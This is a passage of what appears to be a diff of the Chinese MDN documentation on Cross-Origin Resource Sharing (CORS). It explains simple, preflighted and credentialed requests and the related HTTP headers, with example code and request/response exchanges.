例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。</p> + +<p> (译者注:这段描述不准确,并不一定是浏览器限制了发起跨站请求,也可能是跨站请求可以正常发起,但是返回结果被浏览器拦截了。)</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> + +<p>跨域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨域访问控制,从而使跨域数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> )使用 CORS,以降低跨域 HTTP 请求所带来的风险。</p> + +<h2 id="谁应该读这篇文章?">谁应该读这篇文章?</h2> + +<p>说实话,每个人。</p> + +<p>更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨域资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 <a class="internal" href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Server-Side_Access_Control" title="En/Server-Side Access Control">cross-origin sharing from a server perspective (with PHP code snippets)</a> 。</p> + +<h2 id="什么情况下需要_CORS_?">什么情况下需要 CORS ?</h2> + +<p>跨域资源共享标准( <a class="external external-icon" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">cross-origin sharing standard</a> )允许在下列场景中使用跨域 HTTP 请求:</p> + +<ul> + <li>前文提到的由 {{domxref("XMLHttpRequest")}} 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 发起的跨域 HTTP 请求。</li> + <li>Web 字体 (CSS 中通过<code> @font-face </code>使用跨域字体资源), <a class="external external-icon" href="http://www.webfonts.info/wiki/index.php?title=%40font-face_support_in_Firefox" title="http://www.webfonts.info/wiki/index.php?title=@font-face_support_in_Firefox">因此,网站就可以发布 TrueType 字体资源,并只允许已授权网站进行跨站调用</a>。</li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 贴图</a></li> + <li>使用 <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code> 将 Images/video 画面绘制到 canvas</li> +</ul> + +<p>本文概述了跨域资源共享机制及其所涉及的 HTTP 头。</p> + +<h2 id="功能概述">功能概述</h2> + +<p>跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 <a href="/zh-CN/docs/Web/HTTP/Cookies">Cookies </a>和 HTTP 认证相关数据)。</p> + +<p>CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。</p> + +<p>接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。</p> + +<h2 id="若干访问控制场景">若干访问控制场景</h2> + +<p>这里,我们使用三个场景来解释跨域资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。</p> + +<p>本文中的 JavaScript 代码片段都可以从 <a href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a> 获得。另外,使用支持跨域 {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。</p> + +<p>关于服务端对跨域资源共享的支持的讨论,请参见这篇文章: <a href="/zh-CN/docs/Web/HTTP/Server-Side_Access_Control">Server-Side_Access_Control (CORS)</a>。</p> + +<h3 id="简单请求">简单请求</h3> + +<p>某些请求不会触发 <a href="/zh-CN/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">CORS 预检请求</a>。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:</p> + +<ul> + <li>使用下列方法之一: + <ul> + <li>{{HTTPMethod("GET")}}</li> + <li>{{HTTPMethod("HEAD")}}</li> + <li>{{HTTPMethod("POST")}}</li> + </ul> + </li> + <li><span class="short_text" id="result_box" lang="zh-CN"><span>Fetch 规范定义了</span></span><a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">对 CORS 安全的首部字段集合</a>,不得人为设置该集合之外的其他首部字段。该集合为: + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (需要注意额外的限制)</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#downlink">Downlink</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li>{{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: + <ul> + <li><code>text/plain</code></li> + <li><code>multipart/form-data</code></li> + <li><code>application/x-www-form-urlencoded</code></li> + </ul> + </li> + <li>请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。</li> + <li>请求中没有使用 {{domxref("ReadableStream")}} 对象。</li> +</ul> + +<div class="note"><strong>注意:</strong> 这些跨域请求与浏览器发出的其他跨域请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨域请求的网站无需为这一新的 HTTP 访问控制特性担心。</div> + +<div class="note"><strong>注意:</strong> WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。</div> + +<p>比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:</p> + +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/public-data/'; + +function callOtherDomain() { + if(invocation) { + invocation.open('GET', url, true); + invocation.onreadystatechange = handler; + invocation.send(); + } +} +</pre> + +<p><span class="short_text" id="result_box" lang="zh-CN"><span>客户端和服务器之间使用 CORS 首部字段来处理跨域权限:</span></span></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> + +<p>分别检视请求报文和响应报文:</p> + +<pre class="brush: shell">GET /resources/public-data/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/access-control/simpleXSInvocation.html +Origin: http://foo.example + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 00:23:53 GMT +Server: Apache/2.0.61 +Access-Control-Allow-Origin: * +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: application/xml + +[XML Data] +</pre> + +<p>第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 <code>http://foo.example</code>。</p> + +<p>第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 <code>Access-Control-Allow-Origin: *</code> 表明,该资源可以被<strong>任意</strong>外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:</p> + +<p><code>Access-Control-Allow-Origin: http://foo.example</code></p> + +<p>现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。<code>Access-Control-Allow-Origin</code> 应当为 * 或者包含由 Origin 首部字段所指明的域名。</p> + +<h3 id="预检请求">预检请求</h3> + +<p>与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。</p> + +<p>当请求满足下述任一条件时,即应首先发送预检请求:</p> + +<ul> + <li>使用了下面任一 HTTP 方法: + <ul> + <li>{{HTTPMethod("PUT")}}</li> + <li>{{HTTPMethod("DELETE")}}</li> + <li>{{HTTPMethod("CONNECT")}}</li> + <li>{{HTTPMethod("OPTIONS")}}</li> + <li>{{HTTPMethod("TRACE")}}</li> + <li>{{HTTPMethod("PATCH")}}</li> + </ul> + </li> + <li>人为设置了<a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">对 CORS 安全的首部字段集合</a>之外的其他首部字段。该集合为: + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (需要注意额外的限制)</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#downlink">Downlink</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li> {{HTTPHeader("Content-Type")}} 的值不属于下列之一: + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li>请求中的{{domxref("XMLHttpRequestUpload")}} 对象注册了任意多个事件监听器。</li> + <li>请求中使用了{{domxref("ReadableStream")}}对象。</li> +</ul> + +<div class="note"> +<p><strong>注意:</strong> WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。</p> +</div> + +<p>如下是一个需要执行预检请求的 HTTP 请求:</p> + +<pre class="brush: js">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/post-here/'; +var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; + +function callOtherDomain(){ + if(invocation) + { + invocation.open('POST', url, true); + invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); + invocation.setRequestHeader('Content-Type', 'application/xml'); + invocation.onreadystatechange = handler; + invocation.send(body); + } +} + +...... +</pre> + +<p>上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p> + +<pre>OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain</pre> + +<p>预检请求完成之后,发送实际请求:</p> + +<pre><code>POST /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +X-PINGOTHER: pingpong +Content-Type: text/xml; charset=UTF-8 +Referer: http://foo.example/examples/preflightInvocation.html +Content-Length: 55 +Origin: http://foo.example +Pragma: no-cache +Cache-Control: no-cache + +<?xml version="1.0"?><person><name>Arun</name></person> + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:40 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 235 +Keep-Alive: timeout=2, max=99 +Connection: Keep-Alive +Content-Type: text/plain + +[Some GZIP'd payload]</code></pre> + +<p>浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 <code>OPTIONS 方法的“</code>预检请求<code>”。</code> OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:</p> + +<pre><code>Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type</code></pre> + +<p><code>首部字段 Access-Control-Request-Method 告知服务器,实际请求将使用 POST 方法。<font face="Open Sans, Arial, sans-serif">首部字段 </font></code><code><code>Access-Control-Request-Headers 告知服务器,实际请求将携带两个自定义请求首部字段:<code>X-PINGOTHER 与 Content-Type。服务器据此决定,该实际请求是否被允许。</code></code></code></p> + +<p>第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:</p> + +<pre><code>Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400</code></pre> + +<p><font face="Open Sans, Arial, sans-serif">首部字段</font><code><font face="Open Sans, Arial, sans-serif"> </font>Access-Control-Allow-Methods </code>表明服务器允许客户端使用<code> </code><code>POST,</code> <code>GET </code>和 <code>OPTIONS</code> 方法发起请求。该字段与 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7" title="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.7">HTTP/1.1 Allow: response header</a> 类似,但仅限于在需要访问控制的场景中使用。</p> + +<p>首部字段 <code>Access-Control-Allow-Headers </code>表明服务器允许请求中携带字段 <code><code>X-PINGOTHER </code></code>与<code><code> Content-Type</code></code>。<font face="Open Sans, Arial, sans-serif">与</font><code><code><font face="Open Sans, Arial, sans-serif"> </font></code></code><code>Access-Control-Allow-Methods </code>一样,<code><code>Access-Control-Allow-Headers</code></code> 的值为逗号分割的列表。</p> + +<p>最后,首部字段 <code>Access-Control-Max-Age</code> 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。</p> + +<h4 id="预检请求与重定向">预检请求与重定向</h4> + +<p>大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:</p> + +<blockquote> +<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p> +</blockquote> + +<blockquote> +<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p> +</blockquote> + +<p>CORS 最初要求该行为,不过<a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">在后续的修订中废弃了这一要求</a>。</p> + +<p>在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:</p> + +<ul> + <li>在服务端去掉对预检请求的重定向;</li> + <li>将实际请求变成一个简单请求。</li> +</ul> + +<p>如果上面两种方式难以做到,我们仍有其他办法:</p> + +<ul> + <li>发出一个简单请求(使用 <a href="/en-US/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a>)以判断真正的预检请求会返回什么地址。</li> + <li>发出另一个请求(真正的请求),使用在上一步通过<a href="https://developer.mozilla.org/en-US/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseURL">XMLHttpRequest.responseURL</a>获得的URL。</li> +</ul> + +<p>不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。</p> + +<h3 id="附带身份凭证的请求">附带身份凭证的请求</h3> + +<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> 与 CORS 的一个有趣的特性是,可以基于 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> 和 HTTP 认证信息发送身份凭证。一般而言,对于跨域 {{domxref("XMLHttpRequest")}} 或 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> 请求,浏览器<strong>不会</strong>发送身份凭证信息。如果要发送凭证信息,需要设置 <code><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a> </code>的某个特殊标志位。</p> + +<p><code class="plain">本例中,http://foo.example 的某脚本向 <code class="plain">http://bar.other 发起一个GET 请求,并设置 Cookies:</code></code></p> + +<pre id="line1"><code>var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/credentialed-content/'; + +function callOtherDomain(){ + if(invocation) { + invocation.open('GET', url, true); + invocation.withCredentials = true; + invocation.onreadystatechange = handler; + invocation.send(); + } +}</code></pre> + +<p>第 7 行将 <code><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a> </code>的 <code>withCredentials 标志设置为 true,</code>从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 <code>Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。</code></p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png"></p> + +<p>客户端与服务器端交互示例如下:</p> + +<pre><code>GET /resources/access-control-with-credentials/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/credential.html +Origin: http://foo.example +Cookie: pageAccess=2 + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:34:52 GMT +Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 +X-Powered-By: PHP/5.2.6 +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Credentials: true +Cache-Control: no-cache +Pragma: no-cache +Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 106 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain + + +[text/plain payload]</code></pre> + +<p>即使第 11 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true(</code>第 19 行),则响应内容不会返回给请求的发起者。</p> + +<h4 id="附带身份凭证的请求与通配符">附带身份凭证的请求与通配符</h4> + +<p>对于附带身份凭证的请求,服务器不得设置 <code style="font-style: normal;">Access-Control-Allow-Origin 的值为“*”。</code></p> + +<p><code style="font-style: normal;">这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 </code>http://foo.example,则请求将成功执行。</p> + +<p>另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。</p> + +<h2 id="HTTP_响应首部字段">HTTP 响应首部字段</h2> + +<p>本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。</p> + +<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> + +<p>响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}}<code style="font-style: normal;"> 字段,其语法如下:</code></p> + +<pre>Access-Control-Allow-Origin: <origin> | * +</pre> + +<p>其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。</p> + +<p>例如,下面的字段值将允许来自 http://mozilla.com 的请求:</p> + +<pre>Access-Control-Allow-Origin: <span class="plain">http://mozilla.com</span></pre> + +<p>如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。</p> + +<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> + +<p>译者注:在跨域访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。</p> + +<p>{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:</p> + +<pre>Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +</pre> + +<p>这样浏览器就能够通过getResponseHeader访问<code>X-My-Custom-Header</code>和 <code>X-Another-Custom-Header</code> 响应头了。</p> + +<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> + +<p>{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。</p> + +<pre>Access-Control-Max-Age: <delta-seconds> +</pre> + +<p><code>delta-seconds</code> 参数表示preflight请求的结果在多少秒内有效。</p> + +<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的<code>credentials</code>设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用<code>credentials</code>。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。</p> + +<pre>Access-Control-Allow-Credentials: true +</pre> + +<p>上文已经讨论了<a href="#Requests_with_credentials">附带身份凭证的请求</a>。</p> + +<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。</p> + +<pre>Access-Control-Allow-Methods: <method>[, <method>]* +</pre> + +<p>相关示例见<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">这里</a>。</p> + +<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。</p> + +<pre>Access-Control-Allow-Headers: <field-name>[, <field-name>]* +</pre> + +<h2 id="HTTP_请求首部字段">HTTP 请求首部字段</h2> + +<p>本节列出了可用于发起跨域请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨域请求时,它们已经被设置就绪。</p> + +<h3 id="Origin">Origin</h3> + +<p>{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。</p> + +<pre>Origin: <origin> +</pre> + +<p>origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。</p> + +<div class="note"><strong>Note:</strong> 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。</div> + +<p>注意,不管是否为跨域请求,ORIGIN 字段总是被发送。</p> + +<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> + +<p>{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。</p> + +<pre>Access-Control-Request-Method: <method> +</pre> + +<p>相关示例见<a href="#Preflighted_requests">这里</a>。</p> + +<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。</p> + +<pre>Access-Control-Request-Headers: <field-name>[, <field-name>]* +</pre> + +<p>相关示例见<a href="#">这里</a>。</p> + +<h2 id="规范">规范</h2> + +<table> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td>New definition; supplants CORS specification.</td> + </tr> + <tr> + <td>{{SpecName('CORS')}}</td> + <td>{{Spec2('CORS')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h3 id="注">注</h3> + +<ul> + <li>IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。</li> + <li>Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨域支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨域支持;Firefox 9 引入了对 drawImage 的跨域支持。</li> +</ul> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="http://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li> + <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li> + <li><a href="http://www.w3.org/TR/cors/">Cross-Origin Resource Sharing specification</a></li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> + <li><a href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li> + <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a></li> +</ul> + +<p>{{ languages( { "ja": "ja/HTTP_access_control" } ) }}</p> |